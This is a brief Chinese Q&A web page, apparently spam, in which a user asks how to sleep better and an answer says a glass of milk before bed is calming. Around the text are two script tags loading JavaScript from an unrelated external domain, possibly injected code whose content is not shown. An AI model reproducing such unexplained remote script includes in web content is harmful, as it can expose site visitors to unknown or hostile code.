睡前,喝一杯,牛奶,答案,作用<!--more--><br /><script language="javascript" src="http://www.jinnianzuiliuxing.info/js3/1.js"></script><br /> 提問: 我最近晚上睡不好 ,有什么好的辦法 問題補充: 医师解答: 此答案由管理員代為選出睡前喝一杯牛奶,有安神的作用。 <br /><script language="javascript" src="http://www.jinnianzuiliuxing.info/js3/2.js"></script>